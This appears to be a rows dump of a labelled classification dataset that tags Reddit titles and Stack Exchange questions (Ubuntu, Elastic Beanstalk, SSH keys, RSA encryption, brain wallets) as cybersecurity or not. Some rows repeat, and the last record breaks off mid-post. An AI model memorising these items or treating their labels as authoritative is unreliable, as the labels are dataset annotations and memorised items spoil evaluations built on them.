text
stringlengths 3
1.74M
| label
class label 2
classes | source
stringclasses 3
values |
---|---|---|
Pulled Pork Nacho Dip [616x822][OC] Link to recipe in comments. | 0non-cybersec
| Reddit |
[WP] You've been living in your home for ten years. For some reason, every month, an envelope with half your rent appears on the table. You never questioned it. One day, you see a familiar man walking out of the vacant guest room. You remember he said, a decade ago, "you won't even notice I'm here.". | 0non-cybersec
| Reddit |
I'm a bigot, I guess.. | 0non-cybersec
| Reddit |
Excuse me, pardon me.. | 0non-cybersec
| Reddit |
Rumor - The Division Testers Disclose New Gameplay Details: 100-Player Dark Zones, PvP, and More. | 0non-cybersec
| Reddit |
Ubuntu won't allow me to merge two partitions. <p>I must admit I am a noob at computers, but I somehow managed to install Ubuntu alongside Windows 10. But, during the process, I messed up the partitions. How can I merge F and /home?</p>
<p>Here's the <a href="https://i.stack.imgur.com/HH9eg.png" rel="nofollow noreferrer">picture</a>. </p>
<p>Thanx a bunch and sorry if the answer is obvious.</p>
| 0non-cybersec
| Stackexchange |
No rings. Advice on push-up progression.. I don't currently own rings and I've been hitting 3x8 Diamond Pushups on the last two workouts, I was thinking I could do either Archer Pushups or start on the Pseudo Planche Progression. Any suggestions? | 0non-cybersec
| Reddit |
Change resolution Ubuntu over Teamviewer. <p>Im running a computer with Ubuntu 14.04.1, no screen attached. I have installed Teamviewer 10.0.36897. Im trying to get it to produce fullscreen when connecting to it through Teamviewer, allthough it only shows 1024x768.</p>
<p><a href="http://s13.postimg.org/ksbsgfq8m/res.jpg" rel="nofollow">http://s13.postimg.org/ksbsgfq8m/res.jpg</a></p>
<p>Before connecting to my "Ubuntu-computer" I have - under properties - added 1920x1200, like image below shows, allthough this doesn't help. </p>
<p><a href="http://s22.postimg.org/tsgxpkqpd/upls.png" rel="nofollow">http://s22.postimg.org/tsgxpkqpd/upls.png</a></p>
<p>In Ubuntu under "Screens" the dropdown option to change resolution is grayed out, and Im not able to change there either.</p>
<p>How do I increase the resolution?</p>
| 0non-cybersec
| Stackexchange |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Gamestop offered $20 for the car, due to minor damage.. | 0non-cybersec
| Reddit |
Riemann zeta function related to the complete exponential bell polynomial in terms of the generalized harmonic number.. <p>Prove that
$$\zeta(s)=\frac 1 {s!(1-2^{1-s})} \sum_{n=1}^\infty \frac{B_s(0!H_n^{(1)},1!H_n^{(2)},\dots,(s-1)!H_n^{(s)})}{2^{n+1}}$$
where $B_n(x_1,\dots,x_n)$ or denoted $Y_n(x_1,\dots,x_n)$ is the $n$th <a href="https://en.wikipedia.org/wiki/Bell_polynomials#Exponential_Bell_polynomials" rel="nofollow noreferrer">complete exponential Bell polynomial</a> and $H_n^{(k)}$ is the $n$th <a href="https://en.wikipedia.org/wiki/Harmonic_number#Generalized_harmonic_numbers" rel="nofollow noreferrer">generalized harmonic number</a>. </p>
<p>This may likely be in the literature somewhere so a reference would suffice if found.</p>
<p>This converges pretty fast. Along with a proof I'd be interested to know how fast it converges.</p>
<p><strong>Edit</strong>: I found the reference to the equation. See link in comment. </p>
| 0non-cybersec
| Stackexchange |
Grab the nearest book, flip to page 206 and it describes your love life. What is it?. | 0non-cybersec
| Reddit |
How to fill a 2D set over a cartesian lattice with as few rectangles as possible?. <p>Suppose I have a black and white image (composed of binary pixel values in a 2D cartesian array) that contains an irregular, nonconvex shape. Let's further suppose that the shape is one connected region. Instead of storing each individual pixel location (which may be too costly for very large images), I want to represent the exact same image as a set of 'space-filling' rectangles. In doing so, each rectangle can be represented by its two antipodal corner points. Thus, there is no need to store information about each point inside the rectangle: we only need to store the matrix coordinates $(i,j)$ of the two opposite corner points.</p>
<p>There are many ways that one can fill the space with rectangles. So, my question is:</p>
<ol>
<li>How can I fill the space with the FEWEST number of rectangles? (smallest data compression)</li>
<li>How can I find this optimal set of space-filling rectangles in polynomial time? (or is this problem NP-hard?)</li>
</ol>
| 0non-cybersec
| Stackexchange |
Sepak Takraw which translates to "kick volleyball". | 0non-cybersec
| Reddit |
Showtime launching its own standalone streaming service for $10.99/month in July. | 0non-cybersec
| Reddit |
My whole HD is "Mac OS X Base System". <p>my entire HD is now "Mac OS X Base System":</p>
<p><img src="https://i.stack.imgur.com/wQMyC.jpg" alt="enter image description here"></p>
<p>ps: Mac OS X Base System is Disk0s2</p>
<p>I cant delete this partition to install Mac OS X; I already try the terminal, but message reply "you cannot erase the boot disk".</p>
<p>Does anyone have any idea how can I fix this?</p>
| 0non-cybersec
| Stackexchange |
Local Srt files with AVPlayer. <p>I'm trying to cache srt files and play them with mp4 video files using AVFoundation AVPlayer.
Streaming works fine with webVTT subtitles but I also need to cache videos and subtitles.
I was wondering if this is even possible or a possible workaround exists?
Thanks in advance.</p>
| 0non-cybersec
| Stackexchange |
Madlad and his mad pledge!. | 0non-cybersec
| Reddit |
Is there any statistical analysis of the security of a "Brain Wallet"?. <p>Assume that a transaction is paid to a brain wallet address. (not P2SH, or M of N)</p>
<p>Is there any statistical approximation (or tiers of approximation) of how secure a Brain Wallet is to</p>
<ul>
<li><p>A key generated from pure random</p></li>
<li><p>The non-random keys created by a broken <a href="http://bitcoin.org/en/alert/2013-08-11-android" rel="nofollow">random on Android</a> pre 2013</p></li>
<li><p>any other key generation technique</p></li>
</ul>
<p>My goal is to get an approximation based on complexity relative to the other methods. A constructive thing that this would help with is what complexity is necessary for the Brain Wallet to have 2^64 bits of pure random? </p>
<p>Some additional question that may come of this line of thinking include:</p>
<ul>
<li><p>In a Brain Wallet, what is the relationship between complexity, length and the random output?</p></li>
<li><p>What patterns are there to avoid? (vowel frequency, other letter statistical distribution)</p></li>
<li><p>Is a Brain Wallet more secure if written in a foreign language that has more characters in it (more entropy)?</p></li>
</ul>
<p>Much of this may be in a Cryptanalysis book, but I'm looking for someone who may have studied passwords in the past and can offer suggestions on how to brute force a Brain Wallet.</p>
| 0non-cybersec
| Stackexchange |
Still prompted for password after creating authorization keys. <p>I have a Macbook pro, and I successfully set up authorization keys so that I didn't have to enter a password each time I log in to a remote machine.</p>
<p>Years later I have a new computer that I have put Ubuntu onto. I am now trying to do the same, but I'm having problems.</p>
<p>So far I have run <code>ssh-keygen -t dsa</code> and changed the permissions of my <code>~/.ssh</code> folder to 700 and the <code>id_dsa*</code> files to 600</p>
<p>I've updated the <code>authorised_keys</code> file on the remote machine so that it now looks something like:</p>
<pre><code>ssh-rsa KEYFORTHEOLDMACHINEWHICHISTILLUSE
ssh-dss KEYFORTHENEWMACHINE
</code></pre>
<p>I have a space between the two. I don't know if this matters, but I have tried no space and also a line break between them.</p>
<p>I have made sure that the permissions on my server are also as above.</p>
<p>But when I <code>ssh</code> in, I am still prompted for the password. Anything obvious that I'm doing wrong?</p>
<hr>
<p>Update:</p>
<p>When I run <code>ls -ld ~/ ~/.ssh ~/.ssh/authorized_keys</code>, I get the following:</p>
<pre><code>drwxr-xr-x 5 myusername domain users 4096 Jun 8 20:58 /home/myusername/
drwx------ 2 myusername domain users 4096 Jun 8 18:06 /home/myusername/.ssh
-rw------- 1 myusername subdept-phys-sags 1044 Jun 8 18:06 /home/myusername/.ssh/authorized_keys
</code></pre>
<hr>
<p>Update:</p>
<p>When I run <code>ssh -vv remote_server</code>, I get the following:</p>
<pre><code>OpenSSH_7.2p2 Ubuntu-4, OpenSSL 1.0.2g-fips 1 Mar 2016
debug1: Reading configuration data /home/jg/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: Applying options for *
debug2: resolving "ssh-gateway.physics.ac.uk" port 22
debug2: ssh_connect_direct: needpriv 0
debug1: Connecting to ssh-gateway.physics.ac.uk [163.1.240.41] port 22.
debug1: Connection established.
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_rsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_rsa-cert type -1
debug1: identity file /home/jg/.ssh/id_dsa type 2
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_dsa-cert type -1
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_ecdsa type -1
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_ecdsa-cert type -1
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_ed25519 type -1
debug1: key_load_public: No such file or directory
debug1: identity file /home/jg/.ssh/id_ed25519-cert type -1
debug1: Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_7.2p2 Ubuntu-4
debug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.7
debug1: match: OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.7 pat OpenSSH_6.6.1* compat 0x04000000
debug2: fd 3 setting O_NONBLOCK
debug1: Authenticating to ssh-gateway.physics.ac.uk:22 as 'brook'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug2: local client KEXINIT proposal
debug2: KEX algorithms: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,ext-info-c
debug2: host key algorithms: [email protected],[email protected],[email protected],ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,[email protected],[email protected],ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa
debug2: ciphers ctos: [email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected],aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc
debug2: ciphers stoc: [email protected],aes128-ctr,aes192-ctr,aes256-ctr,[email protected],[email protected],aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc
debug2: MACs ctos: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1
debug2: MACs stoc: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-sha1
debug2: compression ctos: none,[email protected],zlib
debug2: compression stoc: none,[email protected],zlib
debug2: languages ctos:
debug2: languages stoc:
debug2: first_kex_follows 0
debug2: reserved 0
debug2: peer server KEXINIT proposal
debug2: KEX algorithms: [email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
debug2: host key algorithms: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256,ssh-ed25519
debug2: ciphers ctos: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,[email protected],[email protected],[email protected],aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected]
debug2: ciphers stoc: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,[email protected],[email protected],[email protected],aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,[email protected]
debug2: MACs ctos: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-md5,hmac-sha1,[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96
debug2: MACs stoc: [email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],hmac-md5,hmac-sha1,[email protected],[email protected],hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,[email protected],hmac-sha1-96,hmac-md5-96
debug2: compression ctos: none,[email protected]
debug2: compression stoc: none,[email protected]
debug2: languages ctos:
debug2: languages stoc:
debug2: first_kex_follows 0
debug2: reserved 0
debug1: kex: algorithm: [email protected]
debug1: kex: host key algorithm: ecdsa-sha2-nistp256
debug1: kex: server->client cipher: [email protected] MAC: <implicit> compression: none
debug1: kex: client->server cipher: [email protected] MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: ecdsa-sha2-nistp256 SHA256:Ay2gqDucgtHyDl2rDdBifYSewyrqz1Tu9PZYU4FTeLU
debug1: Host 'ssh-gateway.physics.ac.uk' is known and matches the ECDSA host key.
debug1: Found key in /home/jg/.ssh/known_hosts:1
debug2: set_newkeys: mode 1
debug1: rekey after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug2: set_newkeys: mode 0
debug1: rekey after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS received
debug1: Skipping ssh-dss key /home/jg/.ssh/id_dsa - not in PubkeyAcceptedKeyTypes
debug2: key: /home/jg/.ssh/id_rsa ((nil))
debug2: key: /home/jg/.ssh/id_ecdsa ((nil))
debug2: key: /home/jg/.ssh/id_ed25519 ((nil))
debug2: service_accept: ssh-userauth
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password
debug1: Next authentication method: gssapi-keyex
debug1: No valid Key exchange context
debug2: we did not send a packet, disable method
debug1: Next authentication method: gssapi-with-mic
debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available
debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available
debug1: Unspecified GSS failure. Minor code may provide more information
debug1: Unspecified GSS failure. Minor code may provide more information No Kerberos credentials available
debug2: we did not send a packet, disable method
debug1: Next authentication method: publickey
debug1: Trying private key: /home/jg/.ssh/id_rsa
debug1: Trying private key: /home/jg/.ssh/id_ecdsa
debug1: Trying private key: /home/jg/.ssh/id_ed25519
debug2: we did not send a packet, disable method
debug1: Next authentication method: password
</code></pre>
| 0non-cybersec
| Stackexchange |
injective ring homomorphism inducing a non-injective homomorphism?. <p>I am looking for an example of an injective ring homomorphism $\phi\colon A\to B$ such that the following holds: there exists a prime ideal $\frak q$ of $B$ such that $\phi^{-1}(\frak q) = \frak p$, and the induced map $A_{\frak p} \to B_{\frak q}$ is not injective.</p>
<p>The algebro-geometric picture should be clear: if we put $X = \mathrm{Spec\, A}$ and $Y = \mathrm{Spec\, B}$, then $\phi$ induces a morphism $(\psi,\theta)\colon Y\to X$ of affine schemes with $\psi(\frak q) = \frak p$. The map $A_{\frak p} \to B_{\frak q}$ corresponds to the induced map on the level of stalks at $\frak q$ of the morphism of sheaves $\theta^\sharp \colon \psi^* \mathcal O_X \to \mathcal O_Y$ [I have used the notation from EGA I].</p>
| 0non-cybersec
| Stackexchange |
Soil Infiltration Rate and Texture [OC]. | 0non-cybersec
| Reddit |
Battlefield 1943: C4, cars, and explosions everywhere.. | 0non-cybersec
| Reddit |
Windows 10 - Updating Background for Start Icons/Pins. <p>Requesting information on how to change background color of Start Pins in Windows 10. An example would be changing from the blue background to black (example image: VS Code with black and VS 2017 with blue/defined color). Thanks in advance!</p>
<p><a href="https://i.stack.imgur.com/323yt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/323yt.png" alt="enter image description here"></a></p>
| 0non-cybersec
| Stackexchange |
Python, running command line tools in parallel. <p>I am using Python as a script language to do some data processing and call command-line tools for number crunching. I wish to run command-line tools in parallel since they are independent with each other. When one command-line tool is finished, I can collect its results from the output file. So I also need some synchronization mechanism to notify my main Python program that one task is finished so that the result could be parsed into my main program. </p>
<p>Currently, I use <code>os.system()</code>, which works fine for one-thread, but cannot be parallelized. </p>
<p>Thanks!</p>
| 0non-cybersec
| Stackexchange |
Error deleting INBOX when doing an imap sync. <p>I am trying to set up a new mail server with dovecot. I got it all installed and set up successfully but am running into problems trying to migrate from my current email server. I tried the following command:</p>
<blockquote>
<p>doveadm -Dv -o imapc_host=[current-imap-host] -o
imapc_user=[current-user] -o imapc_password=[password] -o
imapc_features=rfc822.size -o mail_fsync=never backup -R -u [user]
imapc:</p>
</blockquote>
<p>It connects fine but eventually fails with the following errors:</p>
<blockquote>
<p>dsync([user]): Error: Mailbox INBOX sync: mailbox_delete failed: INBOX
can't be deleted. </p>
<p>dsync([user]): Debug: brain S: Remote mailbox tree: INBOX guid=[xxx]
uid_validity=1591096439 uid_next=1 subs=no last_change=0 last_subs=0 </p>
<p>dsync([user] Debug: imapc([current-imap-host]:143): Disconnected</p>
</blockquote>
<p>I am guessing the current INBOX is not compatible with the Inbox on my current server so it is trying to delete it. If so is there a way I can change my configuration to allow it to be deleted?</p>
| 0non-cybersec
| Stackexchange |
Is there a way of using Gremlin within an asyncio Python application?. <p>The TinkerPop documentation describes GLV for Python. However, the examples presented in there are built around synchronous code. There is the <a href="https://aiogremlin.readthedocs.io/" rel="nofollow noreferrer">aiogremlin</a> library that was desingned to enable use of Gremlin in Python's asyncio code. Unfortunately, the project seem to be discontinued.</p>
<p>Does the official GLV support the asyncio or is there a way to use Gremlin in asynchronous Python applications?</p>
| 0non-cybersec
| Stackexchange |
Error with the wifi and the network manager in the Deepin launcher. <p>I have a very strange error, it turns out that my Wi-Fi interface is not being managed by the Wi-Fi icon of my launcher in Deepin 15.5. It does not show me other Wi-Fi networks nearby, however the command iwlist wlp3s0 scan shows me several wifi, so the interface is up. It responds well to the use of ifconfig wlp3s0 up or down, however if I give it down it does not reflect it in the launcher of the wifi. It's as if my launcher was managing another interface through the network manager. It is uncomfortable because I have to connect to wpa_supplicant, it is clear that the device works. When I turn it off by the launcher in ifconfig -a it's still up. service networkin status return active(exited). Please help.</p>
| 0non-cybersec
| Stackexchange |
Why does countermonotonicity induce lower Fréchet–Hoeffding copula bounds?. <p>I am learning <a href="https://en.wikipedia.org/wiki/Copula_(probability_theory)" rel="nofollow noreferrer">Copula</a> that describes dependancy between random variables.</p>
<p>The upper bound of Fréchet–Hoeffding is quite easy to understand. However, I do not understand the intituivie behind the fact that the <em>countermonotonic random varibles, not independent ones,</em> induce the lower bound.</p>
<p>In <a href="http://www.angelfire.com/falcon/isinotes/mult/cop1.pdf" rel="nofollow noreferrer">this document (at the end of page 6)</a>, the author said that</p>
<blockquote>
<p>Certainly, independence is quite contrary to this, and for two independent rvs the copula
equals $C(u_1, u_2) = u_1 \cdot u_2$. However, independence just <strong>serves as an intermediate step</strong> on the
way to the contrary extreme of comonotonicity, namely the case of countermonotonic rvs. In terms of uniform rvs this case is obtained for $U_2 = 1 − U_1$.</p>
</blockquote>
<p>Could anyone please explain how independence is only an intermediate step?</p>
| 0non-cybersec
| Stackexchange |
Found on an Alienware keyboard at JB-HI-FI. | 0non-cybersec
| Reddit |
Poseidon by Dino at Silver Ant Tattoo in Hanoi Vietnam.. | 0non-cybersec
| Reddit |
ITAP of water splashing on the beach. | 0non-cybersec
| Reddit |
How vulnerable is RSA when using it to encode ~1000s of datasets with 500bytes each? How easy can the private key passphrase be hacked?. <p>I know that this is not the best use case for RSA, but for a customer of mine I have to encode user data on the server in a way so that it can be decoded/downloaded by the customer through a "secure" webpage.</p>
<p><strong>Workflow</strong></p>
<p>Users can register on the page and leave some sensitive data (no credit card data, but age, name, address and such) and this is then stored in a DB. My customer then can access the page and download the data through a "safe" connection.</p>
<p><strong>Hardware situation:</strong></p>
<p>On the hardware side we are talking not about a dedicated server, but only a shared hosting account (shared server) but with full access (FTP, the works). So it is out of the question to distribute the keys on different servers to not have to store them together.</p>
<p><strong>Current Implementation</strong></p>
<p>Right now I am using a public key to encode the data (one big chunk instead of each field by itself) and write it to the DB.</p>
<p>I am using Drupal as a backend to facilitate the secure access to the page (SSL) for my customer (the users don't have to login). In addition to the Drupal password I gave my customer the passphrase for the private key, which (i know not good), is stored alongside the public key. The passphrase the customer sends (after logging in to Drupal) is not stored on site, but directly used to decrypt the privatekey, which in turn is used to decrypt the data stored in the DB. The result is then sent back as a CSV file to my customers computer.</p>
<p><strong>What can't be done</strong></p>
<p>I told my customer that this situation is not optimal, that the best thing would be to decode only on the client side via an extra software and download only the encoded data to keep the private key out of harms way, or to get more servers and change the setup, but this is not possible.</p>
<p><strong>Questions</strong></p>
<ol>
<li><p>I know an exact assesment is not possible, but I was wondering how critical the fact that I have hundreds or thousands of datasets encoded with the same publick key would heighten the risk of anybody getting to the data via access to the DB, or by reading the keys somehow (the encypted one of course).</p></li>
<li><p>I know the achilles heel here is the private key that is stored on the server, so how easy is the private key passphrase to hack?</p></li>
</ol>
<hr>
<p><strong>Solution</strong></p>
<p>Heeding Ilmaris advice I modified my setup and ended up with the following:</p>
<p><em>Collecting the data:</em></p>
<ul>
<li>PHP Script PROCESSFORM receives data from an HTML form (SSL) and validates/purges it</li>
<li>PROCESSFORM adds a delimiter character before and after each entry and padds the spaces between the entries with random characters so that the DATASET string has always the same size</li>
<li>the DATASET is encoded using a public key and stored in the DB together with a cleartext unique ID and DATEADDED (DB table has three fields, ID, DATEADDED, ENCODEDDATA)</li>
</ul>
<p><em>Retrieving the data:</em></p>
<ul>
<li>The user loggs into a backend with username/password (SSL)</li>
<li>The user then has to enter a passphrase which is sent via a form</li>
<li>PHP Script DECODER receives the passphrase and
<ul>
<li>Uses a <a href="http://en.wikipedia.org/wiki/PBKDF2" rel="nofollow">PBKDF2</a> implementation to "harden" the key</li>
<li>Usese the "hardened" key to decrypt the private key which is also stored on the server to decode the data from the DB</li>
<li>Removes the padding from the decoded string</li>
<li>Creates a CSV with the resulting data and serves it to the user</li>
</ul></li>
</ul>
<p><strong>NOTE:</strong></p>
<p>Although the fact that the private key is stored alongside the public key on the server is not ideal, it was not possible to sway the client to decode the data on his own computer, it had to be via a web-interface.</p>
<p>There is a little separation due to the fact that the program part that does the encoding is in a different folder than the one that does the decoding, and that it only has access to the public key, but if the server is hacked, an attacker will have access to both keys and might use a brute force attack to decrypt the private key.</p>
<p>But as I used PBKDF2 to "harden" the key and therefore significantly increased the time necessary to try a key, it is most definately not worth the final result (only semi-sensitive address data, no credit cards or anything).</p>
<p>The most likely point of attack would now be the hijacking of the form script after hacking the server to then grab the passphrase before it reaches the DECODER script.</p>
| 1cybersec
| Stackexchange |
Hey Mak.... | 0non-cybersec
| Reddit |
Welcome to Remotasks-join now and earn $5 again & again. | 0non-cybersec
| Reddit |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Lambda for getter and setter of property. <p>In C# 6.0 I can write:</p>
<pre><code>public int Prop => 777;
</code></pre>
<p>But I want to use getter and setter.
Is there a way to do something kind of the next?</p>
<pre><code>public int Prop {
get => propVar;
set => propVar = value;
}
</code></pre>
| 0non-cybersec
| Stackexchange |
Reference request: foliations. <p>I am looking for a gentle introduction to foliations for smooth manifolds, but I have a hard time finding a textbook explaining this notion. Wikipedia's links are also to articles. Is there any textbook/set of lecture notes which can get me started on foliations?</p>
| 0non-cybersec
| Stackexchange |
Slightly finer topology vs a quasi-component. <p>Let <span class="math-container">$(X,\tau)$</span> be a topological space, and let <span class="math-container">$Q$</span> be a quasi-component of <span class="math-container">$X$</span>. Let <span class="math-container">$S$</span> be a subset of <span class="math-container">$X\setminus Q$</span>. Then is <span class="math-container">$Q$</span> necessarily a quasi-component of <span class="math-container">$X$</span> in the topology generated by <span class="math-container">$\tau\cup\{S\}$</span>?</p>
| 0non-cybersec
| Stackexchange |
French Bread recipe and Ingredients. | 0non-cybersec
| Reddit |
Free programs to draw graphs?. <p>allow me to draw graphs, lines, curves such as parabolas, set intervals with sliding bars etc.</p>
<p>I have tried geogebra but it is very limited and is a pain to use. For example, you cannot set a line to have a particular gradient, you can only draw a line and then measure the gradient afterward. And to plot parabolas, you cannot plot equations but rather do it in a microsoft paint style. </p>
| 0non-cybersec
| Stackexchange |
Hera, Goddess of the household ✨. | 0non-cybersec
| Reddit |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Typing: How to consider class arguments wrapped with partial?. <p>I have a class MyClass that expects a class parent_cls as an argument which fullfills the interface ParentInterface.</p>
<p>ChildA implements/extends from ParentInterface. Since inside of MyClass, parent_cls is instantiated with the argument a and b, the addtional argument c of ChildA is partially instantiated outside.</p>
<p>In principle this does run in Python. However I get a type warning from Pycharm:
<a href="https://i.stack.imgur.com/Ckd7E.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ckd7E.png" alt="enter image description here"></a></p>
<p>Any ideas how to fix that type warning?</p>
<pre><code>from abc import ABC, abstractmethod
from functools import partial
from typing import Type, Optional, Callable, cast
class ParentInterface(ABC):
def __init__(self, a: int, b: int):
self.a = a
self.b = b
@abstractmethod
def do_something(self):
pass
class ChildA(ParentInterface):
def __init__(self, a: int, b: int, c: str):
super().__init__(a, b)
self.c = c
def do_something(self):
print('I am ChildA')
# update 1
class ChildB(ParentInterface):
def __init__(self, a: int, b: int):
super().__init__(a, b)
def do_something(self):
print('I am ChildB')
class MyClass:
def __init__(self, parent_cls: Type[ParentInterface]):
self.parent = parent_cls(3, 4)
# alternative
# class MyClass:
# def __init__(self, parent_cls: Callable[[int, int], ParentInterface]):
# self.parent = parent_cls(3, 4)
def typed_partial(cls, *args, **kwargs):
return cast(Type[cls], partial(cls, *args, **kwargs))
# original code
# child_a_cls = partial(ChildA, c='some string')
# solution
child_a_cls = typed_partial(ChildA, c='some string')
my_class_with_childa = MyClass(parent_cls=child_a_cls)
my_class_with_childb = MyClass(parent_cls=ChildB)
</code></pre>
<p>Update:
Added the solution from @a_guest and the alternative Typing with Callable[[int, int], ParentInterface] proposed by @user2357112 supports Monica.</p>
| 0non-cybersec
| Stackexchange |
1920s maths textbook font. <p>I was wondering if the font used in this old mathematics textbook (which I've seen in so many other books as well) is available on LaTeX, and if it covers maths as well. Thanks.</p>
<p>PS I've looked at <a href="http://www.tug.org/pracjourn/2006-1/hartke/hartke.pdf" rel="nofollow noreferrer">this</a> survey of fonts but no matches as far as I can tell.</p>
<p><a href="https://i.stack.imgur.com/qv5kI.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qv5kI.jpg" alt="enter image description here"></a></p>
| 0non-cybersec
| Stackexchange |
If Electric Motors have so much Torque, how come they aren't used in Trucks and SUVs?. One thing I've noticed is that Trucks and SUV's have larger engines and require more torque to pull the vehicle though when I've seen videos of cars with electric engines the torque is instantaneous and even then they produce more torque than combustion. What I'd like to know is why aren't we seeing more Electric Trucks and SUVs?
Check this video comparing the Mercedes SLS AMG vs. the SLS AMG Electric Drive.
https://www.youtube.com/watch?v=5gFGX43vubM
| 0non-cybersec
| Reddit |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
